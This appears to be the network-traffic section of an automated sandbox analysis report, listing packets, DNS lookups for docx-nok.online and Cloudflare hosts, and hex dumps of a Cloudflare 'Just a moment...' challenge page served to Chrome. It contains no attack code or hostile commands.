Apr 19, 2024 17:02:45.370388031 CEST	443	49766	142.250.9.99	192.168.2.18
Apr 19, 2024 17:02:45.370552063 CEST	49766	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:02:45.370913029 CEST	49766	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:02:45.370934963 CEST	443	49766	142.250.9.99	192.168.2.18
Apr 19, 2024 17:02:45.387327909 CEST	443	49765	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:45.387680054 CEST	49765	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:45.387738943 CEST	443	49765	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:45.388890028 CEST	443	49765	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:45.389312029 CEST	49765	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:45.389467001 CEST	49765	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:45.389481068 CEST	443	49765	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:45.389503956 CEST	443	49765	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:45.432096958 CEST	49765	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:45.614618063 CEST	443	49766	142.250.9.99	192.168.2.18
Apr 19, 2024 17:02:45.615103006 CEST	49766	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:02:45.615134001 CEST	443	49766	142.250.9.99	192.168.2.18
Apr 19, 2024 17:02:45.615595102 CEST	443	49766	142.250.9.99	192.168.2.18
Apr 19, 2024 17:02:45.618230104 CEST	49766	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:02:45.618310928 CEST	443	49766	142.250.9.99	192.168.2.18
Apr 19, 2024 17:02:45.672144890 CEST	49766	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:02:45.928883076 CEST	443	49765	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:45.929157019 CEST	443	49765	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:45.929275036 CEST	49765	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:45.930032969 CEST	49765	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:02:45.930066109 CEST	443	49765	104.21.35.209	192.168.2.18
Apr 19, 2024 17:02:55.622870922 CEST	443	49766	142.250.9.99	192.168.2.18
Apr 19, 2024 17:02:55.623070955 CEST	443	49766	142.250.9.99	192.168.2.18
Apr 19, 2024 17:02:55.623147964 CEST	49766	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:02:56.739022970 CEST	49766	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:02:56.739052057 CEST	443	49766	142.250.9.99	192.168.2.18
Apr 19, 2024 17:03:07.569869995 CEST	49767	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:03:07.569940090 CEST	443	49767	172.67.179.148	192.168.2.18
Apr 19, 2024 17:03:07.570085049 CEST	49767	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:03:07.570558071 CEST	49767	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:03:07.570575953 CEST	443	49767	172.67.179.148	192.168.2.18
Apr 19, 2024 17:03:07.789100885 CEST	443	49767	172.67.179.148	192.168.2.18
Apr 19, 2024 17:03:07.789447069 CEST	49767	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:03:07.789483070 CEST	443	49767	172.67.179.148	192.168.2.18
Apr 19, 2024 17:03:07.789817095 CEST	443	49767	172.67.179.148	192.168.2.18
Apr 19, 2024 17:03:07.790210962 CEST	49767	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:03:07.790272951 CEST	443	49767	172.67.179.148	192.168.2.18
Apr 19, 2024 17:03:07.838128090 CEST	49767	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:03:22.781297922 CEST	443	49767	172.67.179.148	192.168.2.18
Apr 19, 2024 17:03:22.781379938 CEST	443	49767	172.67.179.148	192.168.2.18
Apr 19, 2024 17:03:22.781475067 CEST	49767	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:03:24.740075111 CEST	49767	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:03:24.740143061 CEST	443	49767	172.67.179.148	192.168.2.18
Apr 19, 2024 17:03:45.429361105 CEST	49769	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:03:45.429402113 CEST	443	49769	142.250.9.99	192.168.2.18
Apr 19, 2024 17:03:45.429500103 CEST	49769	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:03:45.429980040 CEST	49769	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:03:45.429992914 CEST	443	49769	142.250.9.99	192.168.2.18
Apr 19, 2024 17:03:45.670814991 CEST	443	49769	142.250.9.99	192.168.2.18
Apr 19, 2024 17:03:45.671168089 CEST	49769	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:03:45.671194077 CEST	443	49769	142.250.9.99	192.168.2.18
Apr 19, 2024 17:03:45.671724081 CEST	443	49769	142.250.9.99	192.168.2.18
Apr 19, 2024 17:03:45.672255993 CEST	49769	443	192.168.2.18	142.250.9.99
Apr 19, 2024 17:03:45.672436953 CEST	443	49769	142.250.9.99	192.168.2.18
Apr 19, 2024 17:03:45.716188908 CEST	49769	443	192.168.2.18	142.250.9.99

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 17:01:40.476758003 CEST	62675	53	192.168.2.18	1.1.1.1
Apr 19, 2024 17:01:40.477262020 CEST	58587	53	192.168.2.18	1.1.1.1
Apr 19, 2024 17:01:40.567285061 CEST	53	52397	1.1.1.1	192.168.2.18
Apr 19, 2024 17:01:40.589313030 CEST	53	64449	1.1.1.1	192.168.2.18
Apr 19, 2024 17:01:40.616332054 CEST	53	58587	1.1.1.1	192.168.2.18
Apr 19, 2024 17:01:40.617132902 CEST	53	62675	1.1.1.1	192.168.2.18
Apr 19, 2024 17:01:41.098397017 CEST	65366	53	192.168.2.18	1.1.1.1
Apr 19, 2024 17:01:41.098579884 CEST	51396	53	192.168.2.18	1.1.1.1
Apr 19, 2024 17:01:41.186209917 CEST	53	58607	1.1.1.1	192.168.2.18
Apr 19, 2024 17:01:41.203367949 CEST	53	51396	1.1.1.1	192.168.2.18
Apr 19, 2024 17:01:41.203824043 CEST	53	65366	1.1.1.1	192.168.2.18
Apr 19, 2024 17:01:41.592829943 CEST	64653	53	192.168.2.18	1.1.1.1
Apr 19, 2024 17:01:41.592886925 CEST	49475	53	192.168.2.18	1.1.1.1
Apr 19, 2024 17:01:41.702244997 CEST	53	64653	1.1.1.1	192.168.2.18
Apr 19, 2024 17:01:41.702816963 CEST	53	49475	1.1.1.1	192.168.2.18
Apr 19, 2024 17:01:42.060940981 CEST	60505	53	192.168.2.18	1.1.1.1
Apr 19, 2024 17:01:42.060996056 CEST	50076	53	192.168.2.18	1.1.1.1
Apr 19, 2024 17:01:42.202326059 CEST	53	50076	1.1.1.1	192.168.2.18
Apr 19, 2024 17:01:42.207822084 CEST	53	60505	1.1.1.1	192.168.2.18
Apr 19, 2024 17:01:42.214867115 CEST	60110	53	192.168.2.18	1.1.1.1
Apr 19, 2024 17:01:42.215308905 CEST	62840	53	192.168.2.18	1.1.1.1
Apr 19, 2024 17:01:42.320187092 CEST	53	60110	1.1.1.1	192.168.2.18
Apr 19, 2024 17:01:42.321130037 CEST	53	62840	1.1.1.1	192.168.2.18
Apr 19, 2024 17:01:43.403700113 CEST	58018	53	192.168.2.18	1.1.1.1
Apr 19, 2024 17:01:43.403888941 CEST	56595	53	192.168.2.18	1.1.1.1
Apr 19, 2024 17:01:43.507890940 CEST	53	58018	1.1.1.1	192.168.2.18
Apr 19, 2024 17:01:43.509450912 CEST	53	56595	1.1.1.1	192.168.2.18
Apr 19, 2024 17:01:45.306849957 CEST	58169	53	192.168.2.18	1.1.1.1
Apr 19, 2024 17:01:45.307356119 CEST	60517	53	192.168.2.18	1.1.1.1
Apr 19, 2024 17:01:45.411518097 CEST	53	58169	1.1.1.1	192.168.2.18
Apr 19, 2024 17:01:45.411856890 CEST	53	60517	1.1.1.1	192.168.2.18
Apr 19, 2024 17:01:54.191704988 CEST	53	64771	1.1.1.1	192.168.2.18
Apr 19, 2024 17:01:58.273437977 CEST	53	53280	1.1.1.1	192.168.2.18
Apr 19, 2024 17:02:17.055387020 CEST	53	53656	1.1.1.1	192.168.2.18
Apr 19, 2024 17:02:39.781940937 CEST	53	61989	1.1.1.1	192.168.2.18
Apr 19, 2024 17:02:40.563648939 CEST	53	55783	1.1.1.1	192.168.2.18
Apr 19, 2024 17:02:41.107639074 CEST	61755	53	192.168.2.18	1.1.1.1
Apr 19, 2024 17:02:41.107753992 CEST	61254	53	192.168.2.18	1.1.1.1
Apr 19, 2024 17:02:41.212513924 CEST	53	61254	1.1.1.1	192.168.2.18
Apr 19, 2024 17:02:41.212558985 CEST	53	61755	1.1.1.1	192.168.2.18
Apr 19, 2024 17:03:04.975492001 CEST	138	138	192.168.2.18	192.168.2.255
Apr 19, 2024 17:03:09.222140074 CEST	53	54302	1.1.1.1	192.168.2.18

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 19, 2024 17:01:40.476758003 CEST	192.168.2.18	1.1.1.1	0x72b7	Standard query (0)	docx-nok.online	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:40.477262020 CEST	192.168.2.18	1.1.1.1	0x7a6b	Standard query (0)	docx-nok.online	65	IN (0x0001)	false
Apr 19, 2024 17:01:41.098397017 CEST	192.168.2.18	1.1.1.1	0x2afa	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:41.098579884 CEST	192.168.2.18	1.1.1.1	0x9fb2	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 19, 2024 17:01:41.592829943 CEST	192.168.2.18	1.1.1.1	0xc5cd	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:41.592886925 CEST	192.168.2.18	1.1.1.1	0x7d1d	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 19, 2024 17:01:42.060940981 CEST	192.168.2.18	1.1.1.1	0x4135	Standard query (0)	docx-nok.online	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:42.060996056 CEST	192.168.2.18	1.1.1.1	0xa9db	Standard query (0)	docx-nok.online	65	IN (0x0001)	false
Apr 19, 2024 17:01:42.214867115 CEST	192.168.2.18	1.1.1.1	0x9170	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:42.215308905 CEST	192.168.2.18	1.1.1.1	0x2956	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 19, 2024 17:01:43.403700113 CEST	192.168.2.18	1.1.1.1	0xd182	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:43.403888941 CEST	192.168.2.18	1.1.1.1	0x25b	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 19, 2024 17:01:45.306849957 CEST	192.168.2.18	1.1.1.1	0xd807	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:45.307356119 CEST	192.168.2.18	1.1.1.1	0xd51e	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 19, 2024 17:02:41.107639074 CEST	192.168.2.18	1.1.1.1	0xb665	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:02:41.107753992 CEST	192.168.2.18	1.1.1.1	0xeb68	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 19, 2024 17:01:40.616332054 CEST	1.1.1.1	192.168.2.18	0x7a6b	No error (0)	docx-nok.online		65	IN (0x0001)	false
Apr 19, 2024 17:01:40.617132902 CEST	1.1.1.1	192.168.2.18	0x72b7	No error (0)	docx-nok.online	172.67.179.148	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:40.617132902 CEST	1.1.1.1	192.168.2.18	0x72b7	No error (0)	docx-nok.online	104.21.35.209	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:41.203824043 CEST	1.1.1.1	192.168.2.18	0x2afa	No error (0)	a.nel.cloudflare.com	35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:41.702244997 CEST	1.1.1.1	192.168.2.18	0xc5cd	No error (0)	challenges.cloudflare.com	104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:41.702244997 CEST	1.1.1.1	192.168.2.18	0xc5cd	No error (0)	challenges.cloudflare.com	104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:41.702816963 CEST	1.1.1.1	192.168.2.18	0x7d1d	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Apr 19, 2024 17:01:42.202326059 CEST	1.1.1.1	192.168.2.18	0xa9db	No error (0)	docx-nok.online		65	IN (0x0001)	false
Apr 19, 2024 17:01:42.207822084 CEST	1.1.1.1	192.168.2.18	0x4135	No error (0)	docx-nok.online	104.21.35.209	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:42.207822084 CEST	1.1.1.1	192.168.2.18	0x4135	No error (0)	docx-nok.online	172.67.179.148	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:42.320187092 CEST	1.1.1.1	192.168.2.18	0x9170	No error (0)	challenges.cloudflare.com	104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:42.320187092 CEST	1.1.1.1	192.168.2.18	0x9170	No error (0)	challenges.cloudflare.com	104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:42.321130037 CEST	1.1.1.1	192.168.2.18	0x2956	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Apr 19, 2024 17:01:43.507890940 CEST	1.1.1.1	192.168.2.18	0xd182	No error (0)	challenges.cloudflare.com	104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:43.507890940 CEST	1.1.1.1	192.168.2.18	0xd182	No error (0)	challenges.cloudflare.com	104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:43.509450912 CEST	1.1.1.1	192.168.2.18	0x25b	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Apr 19, 2024 17:01:45.411518097 CEST	1.1.1.1	192.168.2.18	0xd807	No error (0)	www.google.com	142.250.9.99	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:45.411518097 CEST	1.1.1.1	192.168.2.18	0xd807	No error (0)	www.google.com	142.250.9.103	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:45.411518097 CEST	1.1.1.1	192.168.2.18	0xd807	No error (0)	www.google.com	142.250.9.105	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:45.411518097 CEST	1.1.1.1	192.168.2.18	0xd807	No error (0)	www.google.com	142.250.9.147	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:45.411518097 CEST	1.1.1.1	192.168.2.18	0xd807	No error (0)	www.google.com	142.250.9.106	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:45.411518097 CEST	1.1.1.1	192.168.2.18	0xd807	No error (0)	www.google.com	142.250.9.104	A (IP address)	IN (0x0001)	false
Apr 19, 2024 17:01:45.411856890 CEST	1.1.1.1	192.168.2.18	0xd51e	No error (0)	www.google.com		65	IN (0x0001)	false
Apr 19, 2024 17:02:41.212558985 CEST	1.1.1.1	192.168.2.18	0xb665	No error (0)	a.nel.cloudflare.com	35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

docx-nok.online

https:

challenges.cloudflare.com

a.nel.cloudflare.com

fs.microsoft.com

slscr.update.microsoft.com

www.bing.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.18	49690	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:40 UTC	658	OUT	GET / HTTP/1.1 Host: docx-nok.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:41 UTC	1290	IN	HTTP/1.1 403 Forbidden Date: Fri, 19 Apr 2024 15:01:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 16541 Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN cf-mitigated: challenge cf-chl-out: oNGvAjPWGN2m+zwmouqnvH6axD6dZaTKXQKzg5FS2iiMEm7f3UwFdMtyEIY3b7+gwGmbJUr4JrlzA7ydy7sJU+69SBJnAmGGGsJxbdar5bALQtCPL4Nk6qohEd2iNcJzz8fEfaZW2h2TJ7BR5VbD1Q==$Y9J3Ft+c4pIx3Vd37TMFyQ== Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT
2024-04-19 15:01:41 UTC	419	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 25 32 46 69 67 30 48 45 51 25 32 42 6c 6e 77 35 6b 59 72 58 71 77 53 68 32 38 74 56 4b 79 68 73 57 25 32 46 47 6f 36 25 32 46 68 77 47 62 44 63 57 4f 76 49 41 6c 70 4d 6b 31 6b 67 6b 31 4a 68 61 42 68 4a 35 4d 31 59 72 53 30 75 6f 6a 59 32 33 58 6f 69 25 32 42 4e 34 37 44 64 4d 36 76 4e 25 32 46 35 72 44 25 32 42 47 6a 25 32 46 63 50 48 41 34 52 78 45 50 32 25 32 46 44 77 52 4b 33 76 79 64 71 59 35 72 62 4a 72 71 41 45 30 32 31 38 32 79 54 45 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fig0HEQ%2Blnw5kYrXqwSh28tVKyhsW%2FGo6%2FhwGbDcWOvIAlpMk1kgk1JhaBhJ5M1YrS0uojY23Xoi%2BN47DdM6vN%2F5rD%2BGj%2FcPHA4RxEP2%2FDwRK3vydqY5rbJrqAE02182yTE%3D"}],"group":"cf-nel","max
2024-04-19 15:01:41 UTC	1029	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewp
2024-04-19 15:01:41 UTC	1369	IN	Data Raw: 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a 6d 6c 73 62 44 30 69 62 6d 39 75 5a 53 49 67 64 6d 6c 6c 64 30 4a 76 65 44 30 69 4d 43 41 77 49 44 49 32 49 44 49 32 49 6a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b 50 53 4a 4e 4d 54 4d 67 4d 47 45 78 4d 79 41 78 4d 79 41 77 49 44 45 67 4d 43 41 77 49 44 49 32 49 44 45 7a 49 44 45 7a 49 44 41 67 4d 43 41 77 49 44 41 74 4d 6a 5a 74 4d 43 41 79 4e 47 45 78 4d 53 41 78 4d 53 41 77 49 44 45 67 4d 53 41 77 4c 54 49 79 49 44 45 78 49 44 45 78 49 44 41 67 4d 43 41 78 49 44 41 67 4d 6a 49 69 4c 7a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 Data Ascii: 3My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSIgdmlld0JveD0iMCAwIDI2IDI2Ij48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJNMTMgMGExMyAxMyAwIDEgMCAwIDI2IDEzIDEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPSIjZD
2024-04-19 15:01:41 UTC	1369	IN	Data Raw: 64 7b 63 6f 6c 6f 72 3a 23 62 32 30 66 30 33 7d 62 6f 64 79 2e 64 61 72 6b 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 64 61 72 6b 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 36 39 33 66 66 3b 63 6f 6c 6f 72 3a 23 31 64 31 64 31 64 7d 62 6f 64 79 2e 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 62 61 73 65 36 34 2c 50 48 4e 32 5a 79 42 34 62 57 78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 Data Ascii: d{color:#b20f03}body.dark .big-button,body.dark .pow-button{background-color:#4693ff;color:#1d1d1d}body.dark #challenge-success-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h
2024-04-19 15:01:41 UTC	1369	IN	Data Raw: 64 79 2e 6c 69 67 68 74 20 2e 6c 64 73 2d 72 69 6e 67 20 64 69 76 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 35 39 35 39 35 39 20 74 72 61 6e 73 70 61 72 65 6e 74 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 66 6f 6e 74 2d 72 65 64 7b 63 6f 6c 6f 72 3a 23 66 63 35 37 34 61 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 6c 69 67 68 74 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 62 6f 64 79 2e 6c 69 67 68 74 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 Data Ascii: dy.light .lds-ring div{border-color:#595959 transparent transparent}body.light .font-red{color:#fc574a}body.light .big-button,body.light .pow-button{background-color:#003681;border-color:#003681;color:#fff}body.light #challenge-success-text{background-ima
2024-04-19 15:01:41 UTC	1369	IN	Data Raw: 6c 6f 72 3a 23 30 30 35 31 63 33 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 2e 31 35 73 20 65 61 73 65 7d 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 38 72 65 6d 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 68 65 69 67 68 74 3a 32 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 72 65 6d 3b 77 69 64 74 68 3a 32 72 65 6d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 6d 61 69 6e 2d Data Ascii: lor:#0051c3;text-decoration:none;transition:color .15s ease}a:hover{color:#ee730a;text-decoration:underline}.main-content{margin:8rem auto;max-width:60rem;width:100%}.heading-favicon{height:2rem;margin-right:.5rem;width:2rem}@media (width <= 720px){.main-
2024-04-19 15:01:41 UTC	1369	IN	Data Raw: 7a 4f 53 30 78 4c 6a 41 31 4e 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 73 Data Ascii: zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);padding-left:34px}#challenge-error-text,#challenge-success-text{background-repeat:no-repeat;background-size:contain}#challenge-s
